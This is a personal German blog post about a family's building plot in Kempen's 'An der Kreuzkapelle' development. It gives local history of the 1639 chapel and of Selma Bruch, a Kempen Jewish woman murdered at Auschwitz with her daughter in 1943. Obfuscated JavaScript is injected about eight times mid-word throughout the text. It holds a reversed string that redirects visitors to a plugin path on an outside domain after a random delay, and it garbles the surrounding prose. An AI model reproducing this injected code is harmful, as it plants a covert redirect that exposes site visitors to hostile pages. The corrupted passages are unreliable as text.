Wo eigentlich?

Das Grundstück befindet sich im Neubaugebiet „An der Kreuzkapelle“, wenn man von der St.-Töniser-Str. an dem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tollen, neuen Spielplatz mit der Seilbahn reinfährt. Wir haben eins der drei „Restgrundstücke“ des zweiten Bauabschnittes.  Um uns herum sind alle schon mehr oder weniger fertig und der Straßenbau soll auch im August erfolgen. Das wird bestimmt auch noch spassig. Aktuell läuft der dritte Bauabschnitt. Zu letzt wurde dafür der Lärmschutzwall angelegt.

Unsere zukünftige Adresse lautet:  Selma-Bruch-Str. 33

Wer möchte, bekommt noch ein bißchen Heimatkunde:

Kreuzkapelle

Die Kapelle liegt entlang des alten Prozessionsweges am Ausgang der St. Töniser Straße. Ihre Errichtung geht auf den Kempener Chronisten Johannes Wilmius (1584 bis 1655) zurück, der die Kapelle 1639 einweihte.  Die Kapelle ist nur zur Karfreitagsprozession und zu besonderen Anlässen geöffnet.  (Quelle: https://www.kempen.de/de/inhalt/an-der-kreuzkapelle/)

Selma Bruch

Der erste Transport, der Kempener Juden wegbringen wird, soll am 12. Dezember 1941 von Düsseldorf aus nach Riga in den besetzten Teil der Sowjetunion abgehen. Er nimmt den größten Teil der Juden aus dem Kreisgebiet mit, darunter acht aus Kempen und drei aus St. Hubert. In der Hauptsache sollen jüngere und mittlere Jahrgänge mitgehen – Menschen, deren Arbeitskraft im Osten eingesetzt werden kann. Für Riga ist bereits beabsichtigt, die nicht mehr arbeitsfähigen Juden in Lastwagen, deren Auspuffschläuche in den Laderaum reichen, zu vergasen.(…)

Bisher haben die jüdischen Eltern das Ghettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Riga morgens in Marschkolonnen verlassen, haben sich zu einer Arbeitsstätte außerhalb begeben und sind abends wieder zu ihren Kindern zurückgekehrt. Nun sollen sie außerhalb des Ghettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos im Zusammenhang mit einer Produktionsstätte fest kaserniert werden, d. h., sie würden von ihren Kindern getrennt. Diesem Schicksal versuchen die jüdischen Familien mit Kindern jetzt verständlicher Weise zu entgehen. Daraufhin beschließt die Sicherheitspolizei, die jüdischen Kinder zu vernichten – und der Zweckmäßigkeit halber auch die arbeitsunfähigen Kranken. Am 2. November 1943 werden 2.216 Menschen in Waggons zu je 70 Insassen verladen und nach Auschwitz geschickt. Diese Kinderaktion bringt der neunjährigen Ilse Bruch aus Kempen den Tod – aber auch ihrer Mutter Selma Bruch, die aus freien Stücken mit ihrem Kind in die Gaskammer geht. Selma Bruch hat zwar gute Überlebenschancen: Ihre Geschicklichkeit im Nähen hat ihr einen wichtigen Posten im so genannten Gewerbebetrieb eingebracht – so lautet der Sammelbegriff für die verschiedenen Werkstätten in- und außerhalb des Ghettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, wo auch die Textilien der Toten sortiert und ausgebessert werden. Bei ihrer Arbeit stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tockt Selma Bruch manchmal der Atem, wenn sie die Kleider auswerten muss, die die Teilnehmer an Todestransporten vor ihrer Erschießung ablegen mussten: Schuhe von Kleinkindern sind darunter, Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tofftiere und liebevoll gestrickte Kinderwestchen. Einmal erkennt sie das goldene Hochzeitsband, das sie für einen Kempener Nachbarn genäht hat. Für Selma Bruch ist diese Arbeit eine Art Lebensversicherung. Aber noch wichtiger ist ihr, für ihre Tochter da zu sein, sie zu beschützen – vor allem jetzt, wo der Vater nicht mehr da ist.

Als die Arbeitsgruppen, die außerhalb eingesetzt sind, am Abend des 2. November 1943 in das Ghettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zurückkehren wollen, finden sie dessen Zugänge verschlossen. Schließlich lassen die Wachen die schreiende Selma doch durch. Drinnen findet sie Menschen vor, die sich zum Abtransport in Reihen aufgestellt haben. Dann sieht sie ihre Tochter, die dort alleine und verängstigt steht, und stellt sich zu ihr.

Ihre Liebe ist stärker als die Furcht vor dem Tod. Selma Bruch will nicht, dass Ilse allein ist, wenn sie stirbt. So folgt sie ihrem Kind in die sichere Vernichtung. Eine einfache Frau, die mit ihrer Tapferkeit den Rassenwahnsinn der Nazis beschämt und es verdiente, dass man in Kempen eine Straße nach ihr benennt. (Quelle: http://www.min-kempe.de/spuren.html; sehr interessant!)

 

 

 

 

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